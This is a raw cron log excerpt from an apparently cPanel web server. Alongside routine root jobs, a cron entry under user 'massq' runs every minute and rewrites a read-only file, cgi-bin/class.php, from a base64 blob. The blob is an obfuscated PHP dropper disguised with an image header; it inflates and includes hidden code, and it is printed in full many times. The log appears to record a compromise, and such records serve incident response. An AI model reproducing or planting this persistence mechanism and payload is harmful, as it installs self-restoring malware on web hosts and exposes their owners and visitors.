&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:55:01 server CROND[29900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:55:01 server CROND[29901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:55:01 server CROND[29902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:56:01 server CROND[30770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:57:01 server CROND[31734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:57:01 server CROND[31735]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 14:58:01 server CROND[32655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:59:01 server CROND[1173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:00:01 server CROND[1982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:00:01 server CROND[1983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:00:01 server CROND[1984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:00:01 server CROND[1986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:01:01 server CROND[2864]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 15:01:01 server CROND[2865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:01:01 server run-parts(/etc/cron.hourly)[2864]: starting 0anacron
Nov 12 15:01:01 server run-parts(/etc/cron.hourly)[2879]: finished 0anacron
Nov 12 15:02:01 server CROND[3708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:03:01 server CROND[4616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:04:01 server CROND[5436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:05:01 server CROND[6267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:05:01 server CROND[6269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:05:01 server CROND[6270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 15:05:01 server CROND[6268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:06:01 server CROND[7204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
